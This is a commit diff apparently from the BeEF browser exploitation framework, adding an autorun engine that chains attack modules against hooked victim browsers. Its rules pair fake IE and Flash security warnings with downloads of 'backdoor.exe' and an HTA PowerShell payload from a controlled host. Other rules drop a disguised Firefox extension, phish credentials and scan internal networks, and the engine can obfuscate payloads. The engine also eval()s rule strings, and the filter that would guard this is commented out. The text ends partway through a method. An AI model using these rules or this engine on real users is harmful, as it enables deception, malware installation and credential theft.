Autorun Rule Engine from @antisnatchor with love (alpha version).
This commit is contained in:
35
arerules/enabled/c_osx_test-return-mods.json
Normal file
35
arerules/enabled/c_osx_test-return-mods.json
Normal file
@@ -0,0 +1,35 @@
|
||||
{
|
||||
"name": "Test return debug stuff",
|
||||
"author": "antisnatchor",
|
||||
"browser": "S",
|
||||
"browser_version": "== 8",
|
||||
"os": "OSX",
|
||||
"os_version": "<= 10.10",
|
||||
"modules": [{
|
||||
"name": "test_return_ascii_chars",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}, {
|
||||
"name": "test_return_long_string",
|
||||
"condition": "status==1",
|
||||
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(DUPA)--';",
|
||||
"options": {
|
||||
"repeat": "10",
|
||||
"repeat_string": "<<mod_input>>"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "alert_dialog",
|
||||
"condition": "status=1",
|
||||
"code": "var mod_input=test_return_long_string_mod_output + '--(SUTEK)--';",
|
||||
"options":{"text":"<<mod_input>>"}
|
||||
},
|
||||
{
|
||||
"name": "get_page_html",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}],
|
||||
"execution_order": [0, 1, 2, 3],
|
||||
"execution_delay": [0, 0, 0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
28
arerules/enabled/ff_tux_webrtc-internalip.json
Normal file
28
arerules/enabled/ff_tux_webrtc-internalip.json
Normal file
@@ -0,0 +1,28 @@
|
||||
{"name": "Get Internal IP (WebRTC)",
|
||||
"author": "antisnatchor",
|
||||
"browser": "FF",
|
||||
"browser_version": ">= 30",
|
||||
"os": "Linux",
|
||||
"os_version": "ALL",
|
||||
"modules": [
|
||||
{"name": "get_internal_ip_webrtc",
|
||||
"condition": null,
|
||||
"code": null,
|
||||
"options": {}
|
||||
},
|
||||
{"name": "internal_network_fingerprinting",
|
||||
"condition": "status==1",
|
||||
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;",
|
||||
"options": {
|
||||
"ipRange":"<<mod_input>>",
|
||||
"ports":"80",
|
||||
"threads":"5",
|
||||
"wait":"2",
|
||||
"timeout":"10"
|
||||
}
|
||||
}
|
||||
],
|
||||
"execution_order": [0,1],
|
||||
"execution_delay": [0, 0],
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
31
arerules/enabled/ie_win_fakenotification-clippy.json
Normal file
31
arerules/enabled/ie_win_fakenotification-clippy.json
Normal file
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "Ie Fake Notification + Clippy",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": "== 11",
|
||||
"os": "Windows",
|
||||
"os_version": ">= 7",
|
||||
"modules": [
|
||||
{
|
||||
"name": "fake_notification_ie",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
|
||||
}
|
||||
}
|
||||
,{
|
||||
"name": "clippy",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"clippydir": "http://clippy.ajbnet.com/1.0.0/",
|
||||
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
|
||||
"executeyes": "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe",
|
||||
"respawntime":"5000",
|
||||
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
|
||||
}
|
||||
}
|
||||
],
|
||||
"execution_order": [0,1],
|
||||
"execution_delay": [0,2000],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
27
arerules/enabled/ie_win_htapowershell.json
Normal file
27
arerules/enabled/ie_win_htapowershell.json
Normal file
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "HTA PowerShell",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": "ALL",
|
||||
"os": "Windows",
|
||||
"os_version": ">= 7",
|
||||
"modules": [
|
||||
{
|
||||
"name": "fake_notification_ie",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "hta_powershell",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"domain":"http://172.16.45.1:3000",
|
||||
"ps_url":"/ps"
|
||||
}
|
||||
}],
|
||||
"execution_order": [0,1],
|
||||
"execution_delay": [0,500],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
20
arerules/ff_osx_extension-dropper.json
Normal file
20
arerules/ff_osx_extension-dropper.json
Normal file
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"name": "Firefox Extension Dropper",
|
||||
"author": "antisnatchor",
|
||||
"browser": "FF",
|
||||
"browser_version": "ALL",
|
||||
"os": "OSX",
|
||||
"os_version": ">= 10.8",
|
||||
"modules": [{
|
||||
"name": "firefox_extension_dropper",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"extension_name": "DownThem All - Download Manager",
|
||||
"xpi_name": "Down-Them-All",
|
||||
"base_host": "http://127.0.0.1:3000"
|
||||
}
|
||||
}],
|
||||
"execution_order": [0],
|
||||
"execution_delay": [0],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
27
arerules/ie_win_missingflash-prettytheft.json
Normal file
27
arerules/ie_win_missingflash-prettytheft.json
Normal file
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "Fake missing plugin + Pretty Theft LinkedIn",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": ">= 8",
|
||||
"os": "Windows",
|
||||
"os_version": "== XP",
|
||||
"modules": [{
|
||||
"name": "fake_notification_c",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
|
||||
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
|
||||
}
|
||||
}, {
|
||||
"name": "pretty_theft",
|
||||
"condition": null,
|
||||
"options": {
|
||||
"choice": "Windows",
|
||||
"backing": "Grey",
|
||||
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
|
||||
}
|
||||
}],
|
||||
"execution_order": [0, 1],
|
||||
"execution_delay": [0, 5000],
|
||||
"chain_mode": "sequential"
|
||||
}
|
||||
50
arerules/ie_win_test-return-mods.json
Normal file
50
arerules/ie_win_test-return-mods.json
Normal file
@@ -0,0 +1,50 @@
|
||||
{
|
||||
"name": "Test return debug stuff",
|
||||
"author": "antisnatchor",
|
||||
"browser": "IE",
|
||||
"browser_version": "<= 8",
|
||||
"os": "Windows",
|
||||
"os_version": ">= XP",
|
||||
"modules": [{
|
||||
"name": "test_return_ascii_chars",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}, {
|
||||
"name": "test_return_long_string",
|
||||
"condition": "status==1",
|
||||
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
|
||||
"options": {
|
||||
"repeat": "10",
|
||||
"repeat_string": "<<mod_input>>"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "alert_dialog",
|
||||
"condition": "status=1",
|
||||
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
|
||||
"options":{"text":"<<mod_input>>"}
|
||||
},
|
||||
{
|
||||
// this doesn't execute atm as the setInterval call loops infinitely. Add a timeout of X second to continue anyway.
|
||||
"name": "get_page_html",
|
||||
"condition": null,
|
||||
"options": {}
|
||||
}],
|
||||
"execution_order": [0, 1, 2, 3],
|
||||
"execution_delay": [0, 0, 0, 0],
|
||||
/* chain_mode can be 'sequential' or 'nested-forward':
|
||||
#
|
||||
# - sequential chain with delays (setTimeout stuff)
|
||||
# ex.: setTimeout(module_one(), 0);
|
||||
# setTimeout(module_two(), 2000);
|
||||
# setTimeout(module_three(), 3000);
|
||||
#
|
||||
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
|
||||
# ex.: module_one()
|
||||
# if result == success
|
||||
# module_two(module_one_output)
|
||||
# if result == success
|
||||
# module_three(module_two_output)
|
||||
#*/
|
||||
"chain_mode": "nested-forward"
|
||||
}
|
||||
3
beef
3
beef
@@ -130,6 +130,9 @@ end
|
||||
# @note Call the API method 'pre_http_start'
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
|
||||
# Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
|
||||
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
|
||||
|
||||
# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
|
||||
if config.get("beef.extension.console.shell.enable") == true
|
||||
require 'extensions/console/shell'
|
||||
|
||||
21
config.yaml
21
config.yaml
@@ -75,7 +75,6 @@ beef:
|
||||
type: "apache" # Supported: apache, iis, nginx
|
||||
hook_404: false # inject BeEF hook in HTTP 404 responses
|
||||
hook_root: false # inject BeEF hook in the server home page
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
enable: false
|
||||
@@ -102,10 +101,10 @@ beef:
|
||||
|
||||
# db connection information is only used for mysql/postgres
|
||||
db_host: "localhost"
|
||||
db_port: 5432
|
||||
db_port: 3306
|
||||
db_name: "beef"
|
||||
db_user: "beef"
|
||||
db_passwd: "beef123"
|
||||
db_passwd: "beef"
|
||||
db_encoding: "UTF-8"
|
||||
|
||||
# Credentials to authenticate in BeEF.
|
||||
@@ -114,12 +113,18 @@ beef:
|
||||
user: "beef"
|
||||
passwd: "beef"
|
||||
|
||||
# Autorun modules as soon the browser is hooked.
|
||||
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
|
||||
# Autorun Rule Engine
|
||||
autorun:
|
||||
enable: true
|
||||
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
|
||||
allow_user_notify: true
|
||||
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
|
||||
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
|
||||
# continue execution regardless of results.
|
||||
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
|
||||
result_poll_interval: 300
|
||||
result_poll_timeout: 5000
|
||||
|
||||
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
|
||||
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
|
||||
continue_after_timeout: true
|
||||
|
||||
# Enables DNS lookups on zombie IP addresses
|
||||
dns_hostname_lookup: false
|
||||
|
||||
@@ -32,6 +32,13 @@ require 'core/main/network_stack/api'
|
||||
# @note Include the distributed engine
|
||||
require 'core/main/distributed_engine/models/rules'
|
||||
|
||||
# @note Include the autorun engine
|
||||
require 'core/main/autorun_engine/models/rule'
|
||||
require 'core/main/autorun_engine/models/execution'
|
||||
require 'core/main/autorun_engine/parser'
|
||||
require 'core/main/autorun_engine/engine'
|
||||
require 'core/main/autorun_engine/rule_loader'
|
||||
|
||||
## @note Include helpers
|
||||
require 'core/module'
|
||||
require 'core/modules'
|
||||
@@ -46,6 +53,7 @@ require 'core/main/rest/handlers/categories'
|
||||
require 'core/main/rest/handlers/logs'
|
||||
require 'core/main/rest/handlers/admin'
|
||||
require 'core/main/rest/handlers/server'
|
||||
require 'core/main/rest/handlers/autorun_engine'
|
||||
require 'core/main/rest/api'
|
||||
|
||||
## @note Include Websocket
|
||||
|
||||
@@ -54,6 +54,7 @@ module Filters
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return true if str.eql? "ALL"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 10
|
||||
true
|
||||
|
||||
456
core/main/autorun_engine/engine.rb
Normal file
456
core/main/autorun_engine/engine.rb
Normal file
@@ -0,0 +1,456 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class Engine
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
|
||||
@result_poll_interval = @config.get('beef.autorun.result_poll_interval')
|
||||
@result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
|
||||
@continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
|
||||
|
||||
@debug_on = @config.get('beef.debug')
|
||||
|
||||
@VERSION = ['<','<=','==','>=','>','ALL']
|
||||
@VERSION_STR = ['XP','Vista']
|
||||
end
|
||||
|
||||
|
||||
# Prepare and return the JavaScript of the modules to be sent.
|
||||
# It also updates the rules ARE execution table with timings
|
||||
def trigger(rule_ids, hb_id)
|
||||
|
||||
hb = BeEF::HBManager.get_by_id(hb_id)
|
||||
hb_session = hb.session
|
||||
|
||||
rule_ids.each do |rule_id|
|
||||
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
|
||||
modules = JSON.parse(rule.modules)
|
||||
|
||||
execution_order = JSON.parse(rule.execution_order)
|
||||
execution_delay = JSON.parse(rule.execution_delay)
|
||||
chain_mode = rule.chain_mode
|
||||
|
||||
mods_bodies = Array.new
|
||||
mods_codes = Array.new
|
||||
mods_conditions = Array.new
|
||||
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
|
||||
options = []
|
||||
replace_input = false
|
||||
cmd_mod['options'].each do|k,v|
|
||||
options.push({'name' => k, 'value' => v})
|
||||
replace_input = true if v == '<<mod_input>>'
|
||||
end
|
||||
|
||||
command_body = prepare_command(mod, options, hb_id, replace_input)
|
||||
mods_bodies.push(command_body)
|
||||
mods_codes.push(cmd_mod['code'])
|
||||
mods_conditions.push(cmd_mod['condition'])
|
||||
end
|
||||
|
||||
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
|
||||
case chain_mode
|
||||
when 'nested-forward'
|
||||
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order)
|
||||
when 'sequential'
|
||||
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay)
|
||||
else
|
||||
wrapper = nil
|
||||
# TODO catch error, which should never happen as values are checked way before ;-)
|
||||
end
|
||||
|
||||
are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
|
||||
:session => hb_session,
|
||||
:mod_count => modules.length,
|
||||
:mod_successful => 0,
|
||||
:mod_body => wrapper,
|
||||
:is_sent => false,
|
||||
:rule_id => rule_id
|
||||
)
|
||||
are_exec.save
|
||||
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
|
||||
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
|
||||
# Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)]
|
||||
# - sequential chain with delays (setTimeout stuff)
|
||||
# ex.: setTimeout(module_one(), 0);
|
||||
# setTimeout(module_two(), 2000);
|
||||
# setTimeout(module_three(), 3000);
|
||||
# Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
|
||||
# what their status will be (for instance, a bunch of XSRFs on a set of targets)
|
||||
def prepare_sequential_wrapper(mods, order, delay)
|
||||
wrapper = ''
|
||||
delayed_exec = ''
|
||||
c = 0
|
||||
|
||||
while c < mods.length
|
||||
delayed_exec += %Q| setTimeout("#{mods[order[c]][:mod_name]}();", #{delay[c]}); |
|
||||
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
|
||||
wrapper += wrapped_mod
|
||||
c += 1
|
||||
end
|
||||
wrapper += delayed_exec
|
||||
print_more "Final Modules Wrapper:\n #{delayed_exec}" if @debug_on
|
||||
wrapper
|
||||
end
|
||||
|
||||
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
|
||||
# Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)
|
||||
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
|
||||
# ex.: module_one()
|
||||
# if result == success
|
||||
# module_two(module_one_output)
|
||||
# if result == success
|
||||
# module_three(module_two_output)
|
||||
#
|
||||
# Note: command result status is checked, and you can properly chain input into output, having also
|
||||
# the flexibility of slightly mangling it to adapt to module needs.
|
||||
# Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
|
||||
# if the first once return with success. Also, the second module has the possibility of mangling first
|
||||
# module output and use it as input for some of its module inputs.
|
||||
def prepare_nested_forward_wrapper(mods, code, conditions, order)
|
||||
wrapper, delayed_exec = '',''
|
||||
delayed_exec_footers = Array.new
|
||||
c = 0
|
||||
|
||||
while c < mods.length
|
||||
if mods.length == 1
|
||||
i = c
|
||||
else
|
||||
i = c + 1
|
||||
end
|
||||
|
||||
code_snippet = ''
|
||||
mod_input = ''
|
||||
if code[c] != 'null' && code[c] != ''
|
||||
code_snippet = code[c]
|
||||
mod_input = 'mod_input'
|
||||
end
|
||||
|
||||
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
|
||||
|
||||
if c == 0
|
||||
# this is the first wrapper to prepare
|
||||
delayed_exec += %Q|
|
||||
function #{mods[order[c]][:mod_name]}_f(){
|
||||
#{mods[order[c]][:mod_name]}();
|
||||
|
||||
// TODO add timeout to prevent infinite loops
|
||||
function isResReady(mod_result, start){
|
||||
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
|
||||
// loop
|
||||
}else{
|
||||
// module return status/data is now available
|
||||
clearInterval(resultReady);
|
||||
if (mod_result === null && #{@continue_after_timeout}){
|
||||
var mod_result = [];
|
||||
mod_result[0] = 1; //unknown status
|
||||
mod_result[1] = '' //empty result
|
||||
}
|
||||
var status = mod_result[0];
|
||||
if(#{conditions[i]}){
|
||||
#{mods[order[i]][:mod_name]}_can_exec = true;
|
||||
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
||||
|
|
||||
|
||||
delayed_exec_footer = %Q|
|
||||
}
|
||||
}
|
||||
}
|
||||
var start = (new Date()).getTime();
|
||||
var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
|
||||
}
|
||||
#{mods[order[c]][:mod_name]}_f();
|
||||
|
|
||||
|
||||
delayed_exec_footers.push(delayed_exec_footer)
|
||||
|
||||
elsif c < mods.length - 1
|
||||
# this is one of the wrappers in the middle of the chain
|
||||
delayed_exec += %Q|
|
||||
function #{mods[order[c]][:mod_name]}_f(){
|
||||
if(#{mods[order[c]][:mod_name]}_can_exec){
|
||||
#{code_snippet}
|
||||
#{mods[order[c]][:mod_name]}(#{mod_input});
|
||||
function isResReady(mod_result, start){
|
||||
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
|
||||
// loop
|
||||
}else{
|
||||
// module return status/data is now available
|
||||
clearInterval(resultReady);
|
||||
if (mod_result === null && #{@continue_after_timeout}){
|
||||
var mod_result = [];
|
||||
mod_result[0] = 1; //unknown status
|
||||
mod_result[1] = '' //empty result
|
||||
}
|
||||
var status = mod_result[0];
|
||||
if(#{conditions[i]}){
|
||||
#{mods[order[i]][:mod_name]}_can_exec = true;
|
||||
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
||||
|
|
||||
|
||||
delayed_exec_footer = %Q|
|
||||
}
|
||||
}
|
||||
}
|
||||
var start = (new Date()).getTime();
|
||||
var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
|
||||
}
|
||||
}
|
||||
#{mods[order[c]][:mod_name]}_f();
|
||||
|
|
||||
|
||||
delayed_exec_footers.push(delayed_exec_footer)
|
||||
else
|
||||
# this is the last wrapper to prepare
|
||||
delayed_exec += %Q|
|
||||
function #{mods[order[c]][:mod_name]}_f(){
|
||||
if(#{mods[order[c]][:mod_name]}_can_exec){
|
||||
#{code_snippet}
|
||||
#{mods[order[c]][:mod_name]}(#{mod_input});
|
||||
}
|
||||
}
|
||||
#{mods[order[c]][:mod_name]}_f();
|
||||
|
|
||||
end
|
||||
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
|
||||
wrapper += wrapped_mod
|
||||
c += 1
|
||||
end
|
||||
wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
|
||||
print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
|
||||
wrapper
|
||||
end
|
||||
|
||||
|
||||
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
|
||||
# and store it in the database.
|
||||
# Returns the raw module body after template substitution.
|
||||
def prepare_command(mod, options, hb_id, replace_input)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
begin
|
||||
command = BeEF::Core::Models::Command.new(
|
||||
:data => options.to_json,
|
||||
:hooked_browser_id => hb_id,
|
||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
|
||||
:creationdate => Time.new.to_i,
|
||||
:instructions_sent => true
|
||||
)
|
||||
command.save
|
||||
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
|
||||
if (command_module.path.match(/^Dynamic/))
|
||||
# metasploit and similar integrations
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
# normal modules always here
|
||||
key = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
hb = BeEF::HBManager.get_by_id(hb_id)
|
||||
hb_session = hb.session
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = hb_session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
command_body = evasion.obfuscate(command_module.output) + "\n\n"
|
||||
else
|
||||
command_body = command_module.output + "\n\n"
|
||||
end
|
||||
|
||||
# @note prints the event to the console
|
||||
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
|
||||
|
||||
replace_input ? mod_input = 'mod_input' : mod_input = ''
|
||||
result = %Q|
|
||||
var #{mod.name} = function(#{mod_input}){
|
||||
#{clean_command_body(command_body, replace_input)}
|
||||
};
|
||||
var #{mod.name}_can_exec = false;
|
||||
var #{mod.name}_mod_output = null;
|
||||
|
|
||||
|
||||
return {:mod_name => mod.name, :mod_body => result}
|
||||
rescue => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
end
|
||||
|
||||
# Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
|
||||
# using the default behavior of adding the module to an array and execute it at polling time.
|
||||
#
|
||||
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
|
||||
def clean_command_body(command_body, replace_input)
|
||||
begin
|
||||
cmd_body = command_body.lines.map(&:chomp)
|
||||
wrapper_start_index,wrapper_end_index = nil
|
||||
cmd_body.each_with_index do |line, index|
|
||||
if line.include?('beef.execute(function()')
|
||||
wrapper_start_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
cmd_body.reverse.each_with_index do |line, index|
|
||||
if line.include?('});')
|
||||
wrapper_end_index = index
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
cleaned_cmd_body = cmd_body.slice(wrapper_start_index+1..-(wrapper_end_index+2)).join("\n")
|
||||
|
||||
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
|
||||
if replace_input
|
||||
if cleaned_cmd_body.include?('"<<mod_input>>"')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
|
||||
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
|
||||
elsif cleaned_cmd_body.include?('<<mod_input>>')
|
||||
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
|
||||
else
|
||||
return cleaned_cmd_body
|
||||
end
|
||||
return final_cmd_body
|
||||
else
|
||||
return cleaned_cmd_body
|
||||
end
|
||||
rescue => e
|
||||
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body.dd"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Checks if there are any ARE rules to be triggered for the specified hooked browser
|
||||
#
|
||||
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
|
||||
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
|
||||
#
|
||||
# Returns an array with rule IDs that matched and should be triggered.
|
||||
# if rule_id is specified, checks will be executed only against the specified rule (useful
|
||||
# for dynamic triggering of new rulesets ar runtime)
|
||||
def match(browser, browser_version, os, os_version, rule_id=nil)
|
||||
match_rules = []
|
||||
if rule_id != nil
|
||||
rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
|
||||
else
|
||||
rules = BeEF::Core::AutorunEngine::Models::Rule.all(:browser => browser)
|
||||
end
|
||||
return nil if rules == nil
|
||||
|
||||
print_info "[ARE] Checking if any defined rules should be triggered on target."
|
||||
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
|
||||
# TODO the above works well, but maybe rules need to have priority or something?
|
||||
rules.each do |rule|
|
||||
begin
|
||||
browser_match, os_match = false, false
|
||||
# The following is to protect from potential RCE if someone uploads a rule containing a payload
|
||||
# as the version condition. In this way we ensure that only <,>,= and the ALL string are allowed as characters,
|
||||
# effectively nullifying the risk of eval() usage. We need eval() here for easy match-making of versions
|
||||
|
||||
# TODO the character > can be used to redirect output in RCE vectors, play with it
|
||||
# next unless BeEF::Filters::only?("a-zA-Z0-9", browser) &&
|
||||
# BeEF::Filters::only?("a-zA-Z0-9.<=>", browser_version) &&
|
||||
# BeEF::Filters::only?("a-zA-Z0-9", os) &&
|
||||
# BeEF::Filters::only?("a-zA-Z0-9.<=>", os_version)
|
||||
|
||||
b_ver_cond = rule.browser_version.split(' ').first
|
||||
b_ver = rule.browser_version.split(' ').last
|
||||
|
||||
os_ver_rule_cond = rule.os_version.split(' ').first
|
||||
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
|
||||
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
|
||||
|
||||
# Most of the times Linux/*BSD OS doesn't return any version (TODO: improve OS detection on these operating systems)
|
||||
if os_version != nil && !@VERSION_STR.include?(os_version)
|
||||
os_ver_hook_maj = os_version.split('.').first
|
||||
os_ver_hook_min = os_version.split('.').last
|
||||
|
||||
# the following assignments to 0 are need for later checks like:
|
||||
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
|
||||
os_ver_hook_min = 0 if os_version.split('.').length == 1
|
||||
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
|
||||
else
|
||||
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
|
||||
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
|
||||
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
|
||||
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
|
||||
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
|
||||
end
|
||||
|
||||
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
|
||||
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_min == 'Vista'
|
||||
|
||||
next unless @VERSION.include?(b_ver_cond)
|
||||
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
|
||||
|
||||
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
|
||||
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
|
||||
# check if the browser and OS types do match
|
||||
next unless browser == 'ALL' || browser == rule.browser
|
||||
next unless os == 'ALL' || os == rule.os
|
||||
|
||||
# check if the browser version match
|
||||
if b_ver_cond == 'ALL'
|
||||
browser_match = true
|
||||
browser_version_match = true
|
||||
else
|
||||
browser_version_match = eval(browser_version.to_s + rule.browser_version)
|
||||
browser_match = true if browser_version_match
|
||||
end
|
||||
|
||||
print_more "Browser version check -> (hook) #{browser_version.to_s} #{rule.browser_version} (rule) : #{browser_version_match}"
|
||||
|
||||
# check if the OS versions match
|
||||
if os_version != nil || rule.os_version != 'ALL'
|
||||
os_major_version_match = eval(os_ver_hook_maj.to_s + os_ver_rule_cond + os_ver_rule_maj.to_s)
|
||||
os_minor_version_match = eval(os_ver_hook_min.to_s + os_ver_rule_cond + os_ver_rule_min.to_s)
|
||||
else
|
||||
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
|
||||
os_major_version_match, os_minor_version_match = true, true
|
||||
end
|
||||
|
||||
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
|
||||
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
|
||||
|
||||
